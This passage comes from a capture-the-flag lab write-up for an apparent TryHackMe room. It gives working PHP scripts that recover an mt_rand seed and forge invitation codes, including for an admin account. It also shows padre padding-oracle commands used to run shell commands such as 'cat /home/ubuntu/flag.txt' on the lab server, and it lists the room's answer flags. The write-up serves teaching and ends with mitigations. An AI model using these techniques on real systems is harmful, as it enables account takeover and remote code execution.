</span></span></code></pre></div><p>By knowing an existing active email <code>hello@fake.thm</code> it is only required to know the unknown <code>constant_value</code>. However, we already had an invitation sample code from <code>alpha@fake.thm</code> with the value of <code>MTM0ODMzNzEyMg==</code>. Observing the <code>php</code> code the <code>invite_code</code> value is encoded in <code>base64</code> format. Using <code>CyberChef</code> to decode the value.
<img alt="11" loading="lazy" src="/images/tactics/decryptify/12.png"></p>
<p>Output:</p>
<ul>
<li><code>1348337122</code></li>
</ul>
<p>This value was generated by <code>mt_rand</code> function. This function is a pseudo-random number generator that is not considered <strong>cryptographically secure</strong>, since if an attacker gets the seed, then the output can be predicted.
The <code>seed_value</code> is generated by (<code>seed_value = email_length + constant_value + email_hex</code>):</p>
<ul>
<li><code>email_length</code>
<ul>
<li><strong>14</strong></li>
</ul>
</li>
<li><code>constant_value</code>
<ul>
<li><strong>Unknown</strong></li>
</ul>
</li>
<li><code>email_hex</code>
<ul>
<li><code>61 6c 70 68 61 40 66 61 6b 65 2e 74 68 6d</code> (using <code>CyberChef</code>)</li>
<li>Substring between 0 to 8: <code>616c7068</code></li>
<li>Decimal: <code>54 49 54 99 55 48 54 56</code></li>
</ul>
</li>
</ul>
<p>To get the <code>constant_value</code> we know the seed from <code>alpha@fake.thm</code>:</p>
<p><strong>1348337122 = hexdec(14 + ? + 5449549955485456)</strong></p>
<p>It is possible to loop over possible values by try and error, therefore typing a little script in <code>php</code> is going to be the way to discover the <code>seed_value</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;alpha@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$target_invite_code <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;MTM0ODMzNzEyMg==&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email); <span style="color:#75715e">// 15
</span></span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>((<span style="color:#a6e22e">string</span>)($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Starting...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Loop over possible constant values
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> ($constant_value <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; $constant_value <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">100000</span>; $constant_value<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mt_srand</span>($seed_value);
</span></span><span style="display:flex;"><span>    $random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();
</span></span><span style="display:flex;"><span>    $invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ($invite_code <span style="color:#f92672">===</span> $target_invite_code) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Found constant value: </span><span style="color:#e6db74">$constant_value</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><img alt="12" loading="lazy" src="/images/tactics/decryptify/13.png">
Output:</p>
<ul>
<li><code>99999</code></li>
</ul>
<h3 id="step-2-generating-valid-invitation-codes">Step 2: Generating Valid Invitation Codes</h3>
<p>With the <code>constant_value</code> known, now it is possible to guess the <code>seed_value</code> that acts as the invitation code for <code>hello@fake.thm</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;hello@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$constant_value <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;99999&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Invite code: </span><span style="color:#e6db74">$invite_code</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><img alt="13" loading="lazy" src="/images/tactics/decryptify/14.png"></p>
<p>Output:</p>
<ul>
<li><code>NDYxNTg5ODkx</code></li>
</ul>
<p>The invitation code for <code>hello@fake.thm</code> is <code>NDYxNTg5ODkx</code>. Going back to the login with invite code page <code>http://10.114.184.31:1337</code> and inserting the corresponding values to access into the account:
<img alt="14" loading="lazy" src="/images/tactics/decryptify/15.png"></p>
<blockquote>
<p><strong>Flag after logging into the panel</strong>: <code>THM{CryptographyPwn007}</code></p>
</blockquote>
<p>From the dashboard view it is displayed another account <code>admin@fake.thm</code>, this account has an <code>admin</code> role. Knowing this new email and the <code>constant_value</code> of the seed generator function, it is possible to extract the invitation code from the <code>admin@fake.thm</code> account.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;admin@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$constant_value <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;99999&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Invite code: </span><span style="color:#e6db74">$invite_code</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><img alt="15" loading="lazy" src="/images/tactics/decryptify/16.png"></p>
<p>Output:</p>
<ul>
<li><code>MTc0OTQ0NzAzNw==</code></li>
</ul>
<p>After attempting to log in as an <code>admin@fake.thm</code> using the generated invitation code <code>MTc0OTQ0NzAzNw==</code> it returned a failed attempt. Then, accessing as an admin uses a different encryption process.</p>
<h3 id="step-3-padding-oracle-attack">Step 3: Padding Oracle Attack</h3>
<p>Going back to <code>hello@fake.thm</code> account but this time using <code>Burp Suite</code> to observe all the interactions with the web service. Capturing the packet from the <code>Proxy</code> feature and sending the packet into <code>Repeater</code> to observe the response from the server.
<img alt="16" loading="lazy" src="/images/tactics/decryptify/17.png"></p>
<p>There is a <code>hidden</code> input. The <code>hidden</code> input is declared as <code>date</code> with the value <code>bRBHqQfs9f4UhFIitZJJelGfu+ezN6Ijmd7fg++7NVk=</code>, this value changes on each refresh from the page.
By deleting the value as an empty string and refreshing the web page to see if something happens.
<img alt="17" loading="lazy" src="/images/tactics/decryptify/18.png"></p>
<p>Error Output:</p>
<ul>
<li><code>Padding error: error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length</code></li>
</ul>
<p>This system error displays the decryption operation reached the final block and the padding check failed. After a google search for the error <code>EVP_DecryptFinal</code> is part of <code>OpenSSL API</code>.
After sending a few requests using different <code>date</code>values a new error emerged.
<img alt="18" loading="lazy" src="/images/tactics/decryptify/19.png"></p>
<p>Output:</p>
<ul>
<li><code>Warning: openssl_decrypt(): IV passed is only 1 bytes long, cipher expects an IV of precisely 8 bytes, padding with \0 in /var/www/html/dashboard.php on line 28</code></li>
</ul>
<p>This error means the code is calling <code>openssel_decrypt()</code> function with an <code>IV</code> (initialization vector) of the wrong length. The cipher/mode being used requires an <strong>8-bytes</strong>. This value is common in ciphers such as <strong>DES/3DES</strong> in <strong>CBC mode</strong>. The value that we are providing is the <code>IV</code>.</p>
<p>After a research through the Internet, <strong>DES/3DES</strong> in <strong>CBC mode</strong> are susceptible into <strong>padding oracle</strong> and <strong>bit-flipping</strong>.</p>
<ul>
<li><strong>Padding oracle attack</strong>: exploits how padding errors are handled. It occurs when the application reveals whether the padding of a decrypted message is valid or not, this enables to gain information about the plaintext without knowing the encryption key.</li>
</ul>
<p>After <code>dorking</code> (<code>site: github.com php padding oracle attack</code>) through the internet to get a program that exploits this specific vulnerability. A good candidate was <a href="https://github.com/glebarez/padre"><code>padre</code></a>, it supports tokens in <code>GET/POST</code> parameters and <code>Cookies</code>. Download the latest version and grant executable permissions using <code>chmod +x padre_linux_amd64</code>.</p>
<p>After some try and error and getting used to the new tool,<code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'ls'</code>
<img alt="19" loading="lazy" src="/images/tactics/decryptify/20.png"></p>
<p>Output:</p>
<ul>
<li><code>fXGHJVbs4t9lbmJyaWVhcw==</code></li>
</ul>
<p>Executing again the same command but modifying the command that we want to execute, <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' 'fXGHJVbs4t9lbmJyaWVhcw=='</code>
<img alt="20" loading="lazy" src="/images/tactics/decryptify/21.png"></p>
<p>The system returned an output, therefore trying the specific path from the last flag question <code>/home/ubuntu/flag.txt</code>, <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'cat /home/ubuntu/flag.txt'</code>
<img alt="21" loading="lazy" src="/images/tactics/decryptify/23.png"></p>
<p>Output:</p>
<ul>
<li><code>8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==</code></li>
</ul>
<p>Once having the encrypted command to get the flag we are going to use the following command <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' '8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw=='</code></p>
<p>Having this value now its time to insert as the date value on the dashboard URL, <code>http://10.114.184.31:1337/dashboard.php?date=8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==</code>
<img alt="22" loading="lazy" src="/images/tactics/decryptify/24.png"></p>
<p>Output:</p>
<ul>
<li><code>THM{GOT_COMMAND_EXECUTION001}</code></li>
</ul>
<blockquote>
<p><strong>Content of the <code>/home/ubuntu/flag.txt</code>:</strong> <code>THM{GOT_COMMAND_EXECUTION001}</code></p>
</blockquote>
<h1 id="conclusion">Conclusion</h1>
<p>By exploiting a weak pseudo-random number generator (<code>mt_rand()</code>) in the invitation code generation system, we successfully predicted valid invitation codes for any user email. This granted us access to the dashboard where we discovered a padding oracle vulnerability in the DES/CBC encryption implementation. Using the <code>padre</code> tool, we leveraged the padding oracle to achieve remote code execution and retrieve the final flag.</p>
<h1 id="mitigations-and-remediations">Mitigations and Remediations</h1>
<p>To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:</p>
<ol>
<li><strong>Cryptographically Secure Random Number Generation</strong>: replace <code>mt_rand()</code> with <code>random_int()</code> or <code>openssl_random_pseudo_bytes()</code> for security-critical operations.</li>
<li><strong>Remove Error Leakage</strong>: implement generic error messages that don&rsquo;t reveal internal cryptographic details.</li>
<li><strong>Input Validation</strong>: validate and sanitize all user inputs, especially encrypted parameters passed to decryption functions.</li>
<li><strong>Use Authenticated Encryption</strong>: implement AEAD modes instead of CBC mode to prevent padding oracle attacks entirely.</li>
</ol>
<h2 id="final-answers">Final Answers</h2>
<ol>
<li><strong>Flag after logging into the panel</strong>: <code>THM{CryptographyPwn007}</code></li>
<li><strong>Content of the <code>/home/ubuntu/flag.txt</code>:</strong> <code>THM{GOT_COMMAND_EXECUTION001}</code></li>
</ol>
]]></content:encoded></item></channel></rss>